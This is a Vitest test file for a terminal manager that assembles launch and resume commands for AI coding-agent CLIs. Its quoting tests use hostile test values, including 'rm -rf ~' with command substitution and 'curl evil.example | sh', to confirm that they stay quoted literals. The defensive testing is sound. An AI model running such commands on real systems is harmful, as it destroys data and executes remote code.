Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
import { afterEach, describe, expect, it } from 'vitest'
import { execFileSync } from 'node:child_process'
import { assembleLaunchCommand, assembleResumeCommand, promptFilePathError } from './launch'
import { setCustomAgentBaseResolver } from './config'
import { modelGatewayEnv } from './model-gateway'
import type { CustomAgent } from '../types'
const ENV = { MY_MODEL: 'sonnet', MY_TOKEN: 'sk-abc' }
const claudeProxy: CustomAgent = {
id: 'custom:proxy',
label: 'Claude (proxy)',
launchCmd: 'claude-wopr',
baseAgent: 'claude',
args: '--model ${env:MY_MODEL}'
}
const aider: CustomAgent = {
id: 'custom:aider',
label: 'Aider',
launchCmd: 'aider',
promptInjectionMode: 'argv'
}
afterEach(() => setCustomAgentBaseResolver(null))
describe('assembleLaunchCommand — builtins (byte-identical to the historical path)', () => {
it('claude bare', () => {
expect(assembleLaunchCommand({ agentId: 'claude' }, ENV).command).toBe('claude')
})
it("claude with a prompt", () => {
expect(assembleLaunchCommand({ agentId: 'claude', initialPrompt: 'fix the bug' }, ENV).command).toBe(
"claude 'fix the bug'"
)
})
it('claude with prompt + permission mode + minted session id', () => {
expect(
assembleLaunchCommand(
{ agentId: 'claude', initialPrompt: 'fix', permissionMode: 'auto', sessionId: 'abc-123', sessionIdFlagSupported: true },
ENV
).command
).toBe("claude 'fix' --permission-mode auto --session-id abc-123")
})
it('claude omits --session-id when the CLI does not support it', () => {
expect(
assembleLaunchCommand(
{ agentId: 'claude', sessionId: 'abc-123', sessionIdFlagSupported: false },
ENV
).command
).toBe('claude')
})
it('grok puts the MINTED SESSION ID before the -- separator, prompt and all', () => {
// The failure this guards is not a crash. grok's `--` is END OF OPTIONS: a flag placed after it
// is swallowed as part of the PROMPT, so the node launches, looks healthy, mints a session id
// nodeterm never learns, and the agent reads "--session-id <uuid>" as the first words of its
// instructions. Nothing about the exit code says so — which is why this asserts on POSITION.
const cmd = assembleLaunchCommand(
{
agentId: 'grok',
initialPrompt: 'do the thing',
sessionId: '01a06126-b981-73f1-8b68-4547e4d7da84',
sessionIdFlagSupported: true
},
ENV
).command
expect(cmd).toBe(
"grok --session-id 01a06126-b981-73f1-8b68-4547e4d7da84 -- 'do the thing'"
)
expect(cmd.indexOf('--session-id')).toBeLessThan(cmd.indexOf(' -- '))
})
it('mints nothing for grok when the CLI did not advertise the flag', () => {
// The probe answers for the binary in front of us. No advertisement ⇒ NAKED command, never a
// blocked launch: an unrecognised flag makes grok exit, so guessing costs the whole session.
expect(
assembleLaunchCommand(
{ agentId: 'grok', sessionId: '01a06126-b981-73f1-8b68-4547e4d7da84' },
ENV
).command
).toBe('grok')
})
it('composes session id AND model together, in one line, before the -- separator', () => {
// launch.ts:226 is the ONLY line where minting and the model flag meet, and until this test it
// was uncovered: the session-id tests pass no model, the model tests pass no session id and take
// the OTHER branch, copilot combines them but gets its model through env instead of a flag, and
// codex goes through assembleResumeCommand. Replacing `inputs.model` with `undefined` on that
// line left 42 tests green while the model silently vanished from the command.
//
// Asserted as ONE whole string rather than as separate position checks: those already exist and
// are not what was missing. What was missing is that the two flags coexist AND that the pair
// still lands before grok's end-of-options separator — after it, grok swallows both into the
// prompt and the node launches on the default model with a session id nodeterm never learns,
// reading "--session-id … --model …" as the first words of its instructions.
expect(
assembleLaunchCommand(
{
agentId: 'grok',
initialPrompt: 'do the thing',
sessionId: '01a06126-b981-73f1-8b68-4547e4d7da84',
sessionIdFlagSupported: true,
model: 'grok-4.5',
permissionMode: 'plan'
},
ENV
).command
).toBe(
"grok --permission-mode plan --session-id 01a06126-b981-73f1-8b68-4547e4d7da84 --model 'grok-4.5' -- 'do the thing'"
)
})
it('grok puts the MODEL flag before the -- separator, alongside the others', () => {
// Same failure shape as the session id: a flag after grok's `--` is not rejected, it is
// swallowed into the PROMPT. The node would launch on the DEFAULT model while the agent read
// "--model grok-4.5" as the first words of its instructions — and no exit code would say so.
const cmd = assembleLaunchCommand(
{ agentId: 'grok', initialPrompt: 'do the thing', model: 'grok-4.5' },
ENV
).command
expect(cmd).toBe("grok --model 'grok-4.5' -- 'do the thing'")
expect(cmd.indexOf('--model')).toBeLessThan(cmd.indexOf(' -- '))
})
it('grok puts the permission flag BEFORE the -- separator', () => {
expect(
assembleLaunchCommand({ agentId: 'grok', initialPrompt: 'version', permissionMode: 'plan' }, ENV).command
).toBe("grok --permission-mode plan -- 'version'")
})
it('opencode uses --prompt (flag-prompt mode)', () => {
expect(
assembleLaunchCommand({ agentId: 'opencode', initialPrompt: 'fix it' }, ENV).command
).toBe("opencode --prompt 'fix it'")
})
it('Copilot keeps an initial prompt interactive', () => {
expect(
assembleLaunchCommand(
{
agentId: 'copilot',
initialPrompt: 'fix it',
sessionId: 'abc-123',
sessionIdFlagSupported: true
},
ENV
).command
).toBe("copilot --interactive 'fix it' --session-id=abc-123")
})
it('Antigravity delivers its prompt through --prompt-interactive, never a positional', () => {
// `agy` 1.2.3 has no positional prompt (subcommands sit in that slot) and spells its
// interactive-with-prompt flag `--prompt-interactive`; copilot's `--interactive` is an error.
expect(
assembleLaunchCommand({ agentId: 'antigravity', initialPrompt: 'fix it\nnow' }, ENV).command
).toBe("agy --prompt-interactive 'fix it now'")
expect(assembleLaunchCommand({ agentId: 'antigravity' }, ENV).command).toBe('agy')
// No minted id (antigravity does not mint session ids at launch), but permission and model flags apply.
expect(
assembleLaunchCommand(
{
agentId: 'antigravity',
sessionId: 'abc-123',
sessionIdFlagSupported: true,
permissionMode: 'plan',
model: 'gemini-4-argon-medium'
},
ENV
).command
).toBe("agy --mode plan --model 'gemini-4-argon-medium'")
})
it('a custom agent built on Antigravity inherits its prompt flag', () => {
setCustomAgentBaseResolver((id) => (id === 'custom:agy' ? 'antigravity' : undefined))
const agyCustom: CustomAgent = {
id: 'custom:agy',
label: 'agy (mine)',
launchCmd: 'agy-wrapper',
baseAgent: 'antigravity',
promptInjectionMode: 'argv'
}
expect(
assembleLaunchCommand({ agentId: 'custom:agy', customAgent: agyCustom, initialPrompt: 'go' }, ENV).command
).toBe("agy-wrapper --prompt-interactive 'go'")
})
it('adds a safely quoted model override after the ordinary Claude launch flags', () => {
expect(
assembleLaunchCommand(
{
agentId: 'claude',
initialPrompt: 'fix',
permissionMode: 'plan',
model: 'anthropic/claude-sonnet-4'
},
ENV
).command
).toBe("claude 'fix' --permission-mode plan --model 'anthropic/claude-sonnet-4'")
})
})
describe('assembleResumeCommand — Copilot', () => {
it('resumes the same conversation with an explicit internal model selection', () => {
expect(
assembleResumeCommand(
{ agentId: 'copilot', sessionId: 'abc-123', model: 'openai/gpt-5.5' },
ENV
).command
).toBe("copilot --resume=abc-123 --model 'gpt-5.5'")
})
it.skipIf(process.platform === 'win32').each([
['openai/gpt-5.5', 'gpt-5.5'],
['anthropic/claude-sonnet-4.6', 'claude-sonnet-4.6'],
['custom/org/model', 'org/model'],
["custom/o'model; $(exit 42)", "o'model; $(exit 42)"]
])('delivers %s on fresh launch and restart, preserving its separate wire id', (wireModel, modelId) => {
const env = modelGatewayEnv(
{ baseUrl: 'https://gateway.example.test', apiKey: 'test-key' },
'copilot',
wireModel
)
// Run the generated commands in a real shell with a harmless CLI stand-in. There is no
// COPILOT_MODEL in this old shell: --model must select the model on an in-place restart too.
const probe = 'copilot() { printf "%s\\n" "$COPILOT_PROVIDER_WIRE_MODEL" "$@"; }; '
for (const resume of [false, true]) {
const { command } = resume
? assembleResumeCommand({ agentId: 'copilot', sessionId: 'abc-123', model: wireModel }, {})
: assembleLaunchCommand({ agentId: 'copilot', model: wireModel }, {})
const output = execFileSync('/bin/sh', ['-c', probe + command], {
env,
encoding: 'utf8'
})
expect(output.trimEnd().split('\n')).toEqual([
wireModel,
...(resume ? ['--resume=abc-123'] : []),
'--model',
modelId
])
}
})
})
describe('assembleLaunchCommand — custom agents', () => {
it('a vanilla custom agent launches with its command + prompt', () => {
expect(
assembleLaunchCommand({ agentId: 'custom:aider', customAgent: aider, initialPrompt: 'hi' }, ENV).command
).toBe("aider 'hi'")
})
it('a claude-base proxy inherits the claude command grammar + flags', () => {
setCustomAgentBaseResolver((id) => (id === 'custom:proxy' ? 'claude' : undefined))
const r = assembleLaunchCommand(
{ agentId: 'custom:proxy', customAgent: claudeProxy, initialPrompt: 'fix', permissionMode: 'auto', sessionId: 's1', sessionIdFlagSupported: true },
ENV
)
// args are expanded + each token quoted; flags appended like claude.
expect(r.command).toBe("claude-wopr '--model' 'sonnet' 'fix' --permission-mode auto --session-id s1")
expect(r.missingEnv).toEqual([])
})
it('a claude-base agent with a stale flag-prompt emits a POSITIONAL, not --prompt', () => {
// Regression: a custom agent with baseAgent:'claude' + a stale promptInjectionMode:'flag-prompt'
// must NOT emit `--prompt` (claude rejects it). The harness's argv grammar wins.
setCustomAgentBaseResolver((id) => (id === 'custom:stale' ? 'claude' : undefined))
const stale: CustomAgent = {
id: 'custom:stale',
label: 'Stale',
launchCmd: 'claude-wopr',
baseAgent: 'claude',
promptInjectionMode: 'flag-prompt'
}
const r = assembleLaunchCommand(
{ agentId: 'custom:stale', customAgent: stale, initialPrompt: 'read the handoff file' },
ENV
)
expect(r.command).toContain("'read the handoff file'")
expect(r.command).not.toContain('--prompt')
})
it('a base-agent proxy inherits model-switch command grammar', () => {
setCustomAgentBaseResolver((id) => (id === 'custom:proxy' ? 'claude' : undefined))
expect(
assembleLaunchCommand(
{
agentId: 'custom:proxy',
customAgent: { ...claudeProxy, args: '' },
model: 'anthropic/claude-opus'
},
ENV
).command
).toBe("claude-wopr --model 'anthropic/claude-opus'")
})
it('expands ${env:…} in args and reports missing vars', () => {
setCustomAgentBaseResolver((id) => (id === 'custom:proxy' ? 'claude' : undefined))
const r = assembleLaunchCommand(
{ agentId: 'custom:proxy', customAgent: { ...claudeProxy, args: '--model ${env:UNSET}' } },
{}
)
expect(r.missingEnv).toEqual(['UNSET'])
})
it('a blank launchCmd with a baseAgent uses the base harness command', () => {
setCustomAgentBaseResolver((id) => (id === 'custom:blank' ? 'claude' : undefined))
const blank: CustomAgent = { id: 'custom:blank', label: 'B', launchCmd: '', baseAgent: 'claude' }
expect(assembleLaunchCommand({ agentId: 'custom:blank', customAgent: blank }, ENV).command).toBe('claude')
})
})
describe('assembleResumeCommand', () => {
it('claude resumes with --resume', () => {
expect(assembleResumeCommand({ agentId: 'claude', sessionId: 'abc-123' }, ENV).command).toBe(
'claude --resume abc-123'
)
})
it('codex resumes with the subcommand form', () => {
expect(assembleResumeCommand({ agentId: 'codex', sessionId: 'abc-123' }, ENV).command).toBe(
'codex resume abc-123'
)
})
it('puts the model flag in the measured Codex resume grammar', () => {
expect(
assembleResumeCommand(
{ agentId: 'codex', sessionId: 'abc-123', model: 'openai/gpt-5' },
ENV
).command
).toBe("codex resume abc-123 --model 'openai/gpt-5'")
})
it('falls back to the bare launch command when there is no session id', () => {
expect(assembleResumeCommand({ agentId: 'claude' }, ENV).command).toBe('claude')
})
it('a claude-base proxy resumes with its own binary + claude grammar + args', () => {
setCustomAgentBaseResolver((id) => (id === 'custom:proxy' ? 'claude' : undefined))
expect(
assembleResumeCommand(
{ agentId: 'custom:proxy', customAgent: claudeProxy, sessionId: 'abc-123', permissionMode: 'plan' },
ENV
).command
).toBe("claude-wopr '--model' 'sonnet' --resume abc-123 --permission-mode plan")
})
it('a non-resumable vanilla custom agent falls back to its bare launch command', () => {
expect(
assembleResumeCommand({ agentId: 'custom:aider', customAgent: aider }, ENV).command
).toBe('aider')
})
})
describe('quoting by construction — env values can never become shell syntax or extra argv', () => {
const proxyWith = (args: string): CustomAgent => ({
id: 'custom:proxy',
label: 'Proxy',
launchCmd: 'claude-wopr',
baseAgent: 'claude',
args
})
it('a value carrying spaces stays ONE argument (the token boundary is fixed before expansion)', () => {
const { command } = assembleLaunchCommand(
{ agentId: 'custom:aider', customAgent: proxyWith('--model ${env:SPACED}') },
{ SPACED: 'two words' }
)
expect(command).toBe("claude-wopr '--model' 'two words'")
})
it('a value carrying `;`, backticks, and $() reaches the shell as ONE literal argument', () => {
const hostile = "x; rm -rf ~; `touch /tmp/pwn`; $(id) --dangerously-skip-permissions"
const { command } = assembleLaunchCommand(
{ agentId: 'custom:aider', customAgent: proxyWith('--model ${env:EVIL}') },
{ EVIL: hostile }
)
// Exactly one argv token after --model: the whole hostile string, single-quoted. Nothing in it
// can smuggle a flag (it is one argument) or read as syntax (it is quoted).
expect(command).toBe(`claude-wopr '--model' '${hostile}'`)
// The byte-equality above IS the proof: the entire hostile string sits inside one pair of
// single quotes (it contains no quote of its own to break out with), so the flag it carries
// is data inside --model's value, not a fourth argv token.
expect(command.endsWith("'")).toBe(true)
})
it('a launchCmd env value expanding to shell metacharacters is fenced into a literal', () => {
const { command } = assembleLaunchCommand(
{
agentId: 'custom:aider',
customAgent: {
id: 'custom:aider',
label: 'Aider',
launchCmd: '${env:AGENT_BIN}',
promptInjectionMode: 'argv'
}
},
{ AGENT_BIN: 'agent; curl evil.example | sh' }
)
expect(command).toBe("'agent; curl evil.example | sh'")
})
it('a launchCmd env value that is a plain path stays bare', () => {
const { command } = assembleLaunchCommand(
{
agentId: 'custom:aider',
customAgent: {
id: 'custom:aider',
label: 'Aider',
launchCmd: '${env:AGENT_BIN} serve',
promptInjectionMode: 'argv'
}
},
{ AGENT_BIN: '/opt/agents/bin/aider' }
)
expect(command).toBe('/opt/agents/bin/aider serve')
})
it('a launchCmd with no env tokens passes through byte-for-byte, raw shell text included', () => {
const { command } = assembleLaunchCommand(
{
agentId: 'custom:aider',
customAgent: {
id: 'custom:aider',
label: 'Aider',
launchCmd: 'FOO=1 aider --no-git',
promptInjectionMode: 'argv'
}
},
{}
)
expect(command).toBe('FOO=1 aider --no-git')
})
it('an args token whose reference is unset vanishes and is reported missing', () => {
const { command, missingEnv } = assembleLaunchCommand(
{ agentId: 'custom:aider', customAgent: proxyWith('--model ${env:GONE} --verbose') },
{}
)
expect(command).toBe("claude-wopr '--model' '--verbose'")
expect(missingEnv).toEqual(['GONE'])
})
})
describe('assembleLaunchCommand — promptFile (issue #520)', () => {
// The whole point: the TYPED line stays single-line while the pane's shell expands the file at
// execution, so a multi-line brief reaches the CLI with its structure intact.
it('claude composes the prompt as a "$(cat …)" substitution with the PATH single-quoted', () => {
expect(
assembleLaunchCommand({ agentId: 'claude', promptFile: '/tmp/brief.md' }, ENV).command
).toBe('claude "$(cat \'/tmp/brief.md\')"')
})
it('flags still land after the prompt for claude', () => {
expect(
assembleLaunchCommand(
{ agentId: 'claude', promptFile: '/tmp/brief.md', permissionMode: 'auto' },
ENV
).command
).toBe('claude "$(cat \'/tmp/brief.md\')" --permission-mode auto')
})
it('grok keeps its flags BEFORE the -- separator, substitution after it', () => {
expect(
assembleLaunchCommand(
{ agentId: 'grok', promptFile: '/tmp/brief.md', permissionMode: 'plan' },
ENV
).command
).toBe('grok --permission-mode plan -- "$(cat \'/tmp/brief.md\')"')
})
it('a flag-prompt agent passes the substitution through its prompt flag', () => {
expect(assembleLaunchCommand({ agentId: 'opencode', promptFile: '/tmp/b.md' }, ENV).command).toBe(
'opencode --prompt "$(cat \'/tmp/b.md\')"'
)
})
it('promptFile wins over initialPrompt', () => {
expect(
assembleLaunchCommand(
{ agentId: 'claude', initialPrompt: 'ignored', promptFile: '/tmp/brief.md' },
ENV
).command
).toBe('claude "$(cat \'/tmp/brief.md\')"')
})
it('a path with a quote in it cannot break out of the quoting', () => {
// shellSingleQuote's '\'' dance — the path stays ONE argument to cat and nothing in it
// reaches the shell as syntax.
const cmd = assembleLaunchCommand(
{ agentId: 'claude', promptFile: "/tmp/my brief's.md" },
ENV
).command
expect(cmd.startsWith('claude "$(cat ')).toBe(true)
expect(cmd).toContain("'/tmp/my brief'\\''s.md'")
})
it('the --prompt literal is still collapsed to one line (unchanged behavior)', () => {
expect(
assembleLaunchCommand({ agentId: 'claude', initialPrompt: 'a\nb\n\n c' }, ENV).command
).toBe("claude 'a b c'")
})
})
/**
* Issue #601, at the layer the reporter actually read it off — the assembled command line, the one
* that shows up in the process table. `withPermissionMode` has its own unit tests; these two pin
* that the composition does not put the flag back.
*/
describe('assembleLaunchCommand / assembleResumeCommand — override already carries the flag (#601)', () => {
it('does not duplicate --permission-mode on a fresh launch', () => {
expect(
assembleLaunchCommand(
{
agentId: 'claude',
launchCmdOverride: 'claude --permission-mode bypassPermissions',
permissionMode: 'auto'
},
ENV
).command
).toBe('claude --permission-mode bypassPermissions')
})
it('does not duplicate it on the resume path either', () => {
// The cold-restore / restart leg. It resumes through the same wrapper, so it inherits the same
// duplicate if this is fixed in only one assembler.
expect(
assembleResumeCommand(
{
agentId: 'claude',
launchCmdOverride: 'claude --permission-mode=plan',
sessionId: 'abc-123',
permissionMode: 'auto'
},
ENV
).command
).toBe('claude --permission-mode=plan --resume abc-123')
})
it('still appends to an override that says nothing about permissions', () => {
expect(
assembleLaunchCommand(
{ agentId: 'claude', launchCmdOverride: 'my-wrapper', permissionMode: 'auto' },
ENV
).command
).toBe('my-wrapper --permission-mode auto')
})
})
describe('promptFilePathError', () => {
it('accepts an absolute POSIX path', () => {
expect(promptFilePathError('/tmp/brief.md')).toBeNull()
})
it('accepts a Windows drive path', () => {
expect(promptFilePathError('C:\\briefs\\x.md')).toBeNull()
})
it('refuses a relative path', () => {
expect(promptFilePathError('brief.md')).toMatch(/absolute/)
})
it('refuses an empty path', () => {
expect(promptFilePathError(' ')).toMatch(/needs a path/)
})
it('refuses a newline in the path — it would break the single-line typed delivery', () => {
expect(promptFilePathError('/tmp/a\nb')).toMatch(/newlines/)
})
})